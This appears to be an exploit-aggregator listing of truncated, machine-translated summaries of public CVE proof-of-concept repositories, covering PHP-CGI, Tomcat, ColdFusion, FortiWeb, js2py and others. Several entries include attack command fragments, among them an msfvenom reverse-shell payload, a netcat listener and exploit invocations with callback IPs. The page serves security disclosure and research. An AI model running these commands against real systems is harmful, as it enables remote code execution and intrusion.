PHP-CGI-INTERNAL-RCE

PHP-CGI-INTERNAL-RCE このPoCは、攻撃者が Orange Tsai氏の CVE-2024-4577 をDNSリバインディングと連鎖させ、被害者のウェブブラウザを介して内部ネットワークインフラ上でリモートコード実行を達成する方法を示しています。Same-Origin Policy SOP をバイパスし、local XAMPP servers 上で動作する脆弱な PHP-CGI インスタンス、内部開発環境、または企業ネットワークを悪用することで、この攻撃はインターネットに公開されることを意図されていないシステム上での完全なコード実行を可能にします。 ブログ...

CVE-2020-9484

CVE-2020-9484 Tomcat 교육 목적으로만 사용하세요. 자세한 내용은 참고 자료를 확인하세요. 실행 root@kitploit: $ git clone https://github.com/masahiro331/CVE-2020-9484.git $ cd CVE-2020-9484 $ docker build -t tomcat:groovy . $ CONTAINER=docker run -d -p 8080:8080 tomcat:groovy 확인 초기 root@kitploit: $ docker exec -it $CONTAINER ls...

CVE-2020-11984

Быстрый старт root@kitploit: docker build --no-cache -t cve-2020-11984 . docker run --rm -it -p 8080:80 --name cve-2020-11984 cve-2020-11984 pipenv run python3 exploit.py -u localhost:8080/ -c "echo 111/tmp/abc" Ссылка root@kitploit: https://github.com/RubenBar/MLW-upcrans/...

CVE-2019-10758

CVE-2019-10758 PoC Configuración root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js Exploit con cURL root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

CVE-2023-35085-POC-EXP

PS: 모든 스크립트는 Gemini 2.5 pro와 CLaude 3.7로 작성되었습니다. 제가 "/mifs/rest/api/v2/command/exec" API 사용법을 모르기 때문에 제대로 작동하지 않을 수 있습니다. 그 API를 매우 잘 알고 있다고 가장했던 AI들과 마찬가지입니다...

CVE-2021-31630

CVE-2021-31630 OpenPLC 3 WebServer Authenticated Remote Code Execution. Описание Наличие внедрения команд Command Injection в веб-сервере Open PLC v3 позволяет удалённым злоумышленникам выполнять произвольный код. Протестировано только на машине HTB Wifinetictwo.htb. Я обнаружил проблемы со всеми...

CVE-2024-4577

CVE-2024-4577: PHP の CGI 設定における重大な脆弱性 PHP の CGI モードには深刻なセキュリティ上の欠陥が存在し、攻撃者が URL パラメータを操作することで任意のコマンドを実行できるようになります。 影響を受けるバージョン Windows 上で php-cgi を実行している PHP 7.4.29 未満および 8.0.19 未満のバージョン。 攻撃手法 攻撃者は、特別に細工したリクエストを PHP CGI...

CVE-2025-10230

CVE-2025-10230: Samba Critical RCE CVSS 10.0 脆弱性の概要 CVE-2025-10230は、Sambaのコードベースに13年間潜伏していた重大なリモートコード実行（RCE）脆弱性です。 この欠陥は、WINS（Windows Internet Name Service）レジスターパケットの処理にあります。Domain Controllerとして wins support = yes が設定され、wins hook にスクリプトが定義されている場合、Sambaは受信したNetBIOS名のサニタイズに失敗します。...

Mitigate-CVE-2023-46747

CVE-2023-46747 완화를 위한 Ansible 플레이북 K000137353: BIG-IP 구성 유틸리티의 인증되지 않은 원격 코드 실행 취약점 CVE-2023-46747 다음은 링크입니다 https://my.f5.com/manage/s/article/K000137353 사용 방법 1. 내 저장소를 Git 클론하세요 https://github.com/maniak-academy/Mitigate-CVE-2023-46747.git 2. bigip 정보가 있으면 hosts.ini를 업데이트하세요. 3. 플레이북을 실행하세요...

CVE-2026-65643

cPanel & WHM versions prior to 11.138.0.2 (and older branches 11.110, 11.134, 11.136) contain an eval injection in the domain parking and addon domain functionality. An authenticated user with permission to add parked or addon domains can create arbitrary files on the server, escalating to code e...

EUVD-2026-68922

Eval injection in cPanel 11.138.0.0 and earlier allows remote authenticated users to execute arbitrary code as root...

CVE-2026-65643

Eval injection in cPanel 11.138.0.0 and earlier allows remote authenticated users to execute arbitrary code as root...

CVE-2025-22953

CVE-2025-22953 – Epicor HCM 인증되지 않은 블라인드 SQL 인젝션 업데이트 – Epicor 패치 배포됨 Epicor는 이 취약점을 해결하는 패치를 공식적으로 배포했습니다. 영향을 받는 모든 사용자는 즉시 업데이트를 적용할 것을 강력히 권장합니다. 🔗 Epicor 보안 패치 공지 요약 Epicor HCM 소프트웨어 2021 1.9 버전테스트된 버전이며, 다른 버전도 영향을 받을 수 있음의 JsonFetcher.svc 엔드포인트에 있는 filter 매개변수에서 인증되지 않은 블라인드 SQL 인젝션 취약점이...

CVE-2021-32099

CVE-2021-32099 PoC Этот репозиторий содержит доказательство концепции PoC эксплойта для уязвимости CVE-2021-32099 , затрагивающей Pandora FMS 742. Эксплойт показывает, как неаутентифицированный злоумышленник может использовать SQL-инъекцию для повышения привилегий неавторизованной сессии до уровн...

spring-break_cve-2017-8046

spring-breakcve-2017-8046 이것은 Spring Break 취약점CVE-2017-8046을 악용하는 Java 프로그램입니다. 이 소프트웨어는 가능한 한 외부 종속성을 최소화하도록 작성되었습니다. DISCLAIMER 이 도구는 보안 엔지니어와 앱시큐리티 담당자가 보안 평가를 수행할 수 있도록 제작되었습니다. 이 도구를 책임감 있게 사용하시기 바랍니다. 누구든 이 애플리케이션을 사용하는 방식에 대해 저는 책임을 지지 않습니다. 이 도구를 사용하여 발생한 손해나 저지른 범죄에 대해 저는 책임이 없습니다. 취약점 정...

gitlab_rce_cve-2022-2884

gitlabrcecve-2022-2884 Это программа на Python3, которая эксплуатирует аутентифицированную RCE-уязвимость GitLab, известную как CVE-2022-2884. ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ Этот инструмент предназначен для специалистов по безопасности и AppSec для проведения оценок безопасности. Пожалуйста, используйт...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 원격 코드 실행 때때로 스크립트가 첫 시도에 작동하지 않습니다. 작동할 때까지 몇 번 시도해 보세요 실행 방법 msfvenom으로 페이로드 생성 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java server.py 시작하기 이 서버는 cve.2023-26360.py를 통한 초기 접근 후 Coldfusion 서버로 페이로드를 전송하므로, 먼저 초기화되어 있어야 합니다...

CVE-2024-47533

CVE-2024-47533 - Эксплойт RCE с обходом аутентификации XMLRPC в Cobbler Критическое удалённое выполнение кода через обход аутентификации в Cobbler Реализация PoC. Краткое описание Cobbler, сервер установки Linux, обеспечивающий быструю настройку сетевых установочных сред, имеет уязвимость...

CVE-2025-25257

CVE-2025-25257 watchtowr および GitHub で見つけた他の研究者によって公開された CVE-2025-25257 のエクスプロイトは、公式ベンダーサイトからダウンロードした私の fortiweb 環境では動作しませんでした。これらのエクスプロイトコードの一部を流用して、自分の環境でリバースシェルを起動できる PoC を作成しました。リバースシェルの IP アドレスとポートはハードコードされているため、もちろん変更する必要があります。 エクスプロイトの解析とウォークスルーは、私の YouTube チャンネルの 2...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell CVE-2024-28397 用のリバースシェル。 エクスプロイトは js2py = v0.74 で動作します。 要件 requests ライブラリ pip install requests Python3 Netcat リバースシェルのリスナーとして使用できるもの 使用方法 リスナー用 root@kitploit: nc -lnvp 4444 エクスプロイト用 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11...